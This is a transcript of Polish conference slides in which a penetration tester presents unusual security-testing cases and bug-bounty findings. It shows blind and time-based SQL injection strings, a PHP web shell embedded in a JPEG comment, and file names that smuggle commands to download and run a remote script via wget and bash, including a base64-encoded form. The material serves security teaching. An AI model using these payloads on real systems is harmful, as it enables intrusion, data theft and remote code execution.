testy bezpieczeństwa - niesztampowe przypadki
TRANSCRIPT
Borys Łącki
Testy bezpieczeństwa - niesztampowe przypadki
Testy penetracyjne:● serwisów WWW● aplikacji mobilnych● sieci firmowych
● audyty bezpieczeństwa● analiza kodu źródłowego● informatyka śledcza● bezpieczeństwo SCADA● szkolenia● testy socjotechniczne● testy Red - Blue Team
https://www.securityinside.pl
Ponad 10-letnie doświadczenie w branży bezpieczeństwa IT.
×××
Ponad 200 testów penetracyjnych i 100 testów aplikacji mobilnych
×××
Znaleźliśmy podatności w produktach: OpenSSL, Apache, IIS, OpenSSH, PHP, (...)
Facebook, Google, Apple, Microsoft, Nokia, Adobe, (...)
×××
Ponad 100 wykładów na najważniejszych branżowych konferencjach, Confidence, SECURE, SecureCON, Internet Banking Security, PLNOG, MeetIT, Security
Bsides, TestFest, OWASP, SecDay, Security Case Study, (...)
Testy bezpieczeństwa
Przychodzi tester do baru i zamawia drinka. Zamawia 10 drinków.
Zamawia 99999999999 drinków. Odchodzi od baru, podchodzi ponownie, odchodzi od baru podchodzi ponownie, zamawia
-8 drinków.
Zamawia szynę kolejową.
Czy:
● istnieje sposób na kradzież informacji z bazy danych?
● aplikacja może zaatakować użytkownika?
● możemy wykonać określoną akcję jako inny użytkownik (np. admin)?
● można zablokować/unieruchomić aplikację?
● podsłuchując transmisję możemy wykraść dane uwierzytelniające? (hasło?)
Testy manualne
Manual vs. Automat
Niesztampowe przypadki
Niesztampowe przypadki
?id=155765%20AND%20(select%20ascii(substring((select%20login%20from
%20admins%20limit%201,1),1,1)))%3D97
Czy pierwsza litera pierwszego loginu z tabeli admins ma kod ascii = 97
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/
Koszty defektów
Facebook - delete photo album
DELETE /<Victim's_photo_album_id> HTTP/1.1
Host : graph.facebook.com
Content-Length: 245
access_token=<Your(Attacker)_Facebook_for_Android_Access_Token>
Nagroda BugBounty: 12 500 $
OVH – Password reset
This url is randomly generated with 21 characters, generated from 3 different algorithms for randomess generating each 7 characters.
we have discovered an issue with the function that generates the 21 characters. Two of the three random functions were generating a not-so-random string. It was hence possible to ask for a password change and then to brute-force the password reset url.
BugBounty – brak separacji + hasła
username: admin and password: ???????
BugBounty – SVN repository
GIT repository
Zarządzanie danymi
/var/log/apache2/ modsec_audit.log
Dane uwierzytelniające + 755
2 Factor Authentication
Zmiana statusu zamówienia
POST /transfers/success
session_id=260742
Status: zapłacony
Zaokrąglanie małych kwot
10-(0.01*2.90)-(0.01*2.90)
9.94
10-(0.01*2.90)-(0.01*2.90)
9.96
Upload pliku
'aaaaaaaaaaaa.php '
DENY
'aaaaaaaaaaaaaaaaaaaaaa.php'.jpg
ACCEPT
Upload image - watermark
$ php -r 'print_r(getimagesize("test.jpg"));'
Array( [0] => 640, [1] => 480, [2] => 2, [3] => width="640" height="480", [bits] => 8, [channels] => 3, [mime] => image/jpeg )
$ file test.jpg
test.jpg: JPEG image data, JFIF standard 1.01,
comment: "<?php system($_POST[a]); ?>"
Import / Eksport
● Export → Plik-eksportu.zip● Dodanie pliku do archiwum:
/files/zzz`wget naszadomena.pl -O a.txt;bash a.txt`.txt
● Import ← Plik-eksportu.zip● Kompresuj
Upload - base64
POST /files/upload/path/(base64)
Content-Disposition: form-data; name="file";
filename="`echo$IFS'd2dldCBuYXN6YWRvbWVuYS5wbCAtTyBhLnR4dDtiYXNoIGEudHh0Cg==|base64$IFS-d|bash`"
wget naszadomena.pl -O a.txt;bash a.txt
Liczba: 1e100
Frontend: 1
Backend: 10000000000
Nadużycia związane ze zmianą kwot na koncie bankowym.
Pominięcie kroku weryfikacji
1 2 3 4
Reset hasła - token
Odzyskanie hasła:
"Twój nowy token: 303932 jest ważny 24 godziny"
Algorytmy haseł
./john .htaccess-crypt (Traditional DES [128/128 BS SSE2-16])
c/s: 2907K 19 godzin
./john .htaccess-bcrypt (OpenBSD Blowfish [32/64 X2])
c/s: 1412 > 4 lata
Opowieści z krypty - procesy
<yyy> uy mnie w robocie gosc puscil TRUNCATE bazy na produkcji wklejajac sql z neta bez sprawdzenia
<xxx> u mnie puscil update tylko zapomnial dac where :D
Phishing
30% haseł w 15 minut
Quake 1
https://www.youtube.com/watch?v=fRinW7SJC6QAPT x 3 - wybrane studium przypadków
Materiały dodatkowe● Narzędzia do zautomatyzowanego testowania bezpieczeństwa
https://www.youtube.com/watch?v=9zgH7wHv_V0
● OWASP Top10 Najpopularniejsze błędy bezpieczeństwa aplikacji WWW
https://www.youtube.com/watch?v=hOAc5vUKrqA
● Podstawowy arsenał testera bezpieczeństwa aplikacji WWW
https://www.youtube.com/watch?v=F1COxOJyM7o
● APT x 3 - wybrane studium przypadków
https://www.youtube.com/watch?v=fRinW7SJC6Q
● The Security Checklist
https://github.com/FallibleInc/security-guide-for-developers/blob/master/security-checklist.md
OWASP.ORG
https://z3s.pl/szkolenia/
Atak i obrona:● Bezpieczeństwo aplikacji WWW● Bezpieczeństwo aplikacji mobilnych
-20%Obowiązuje 31.337 dniHasło: ITCORNER16
Szkolenia – rabat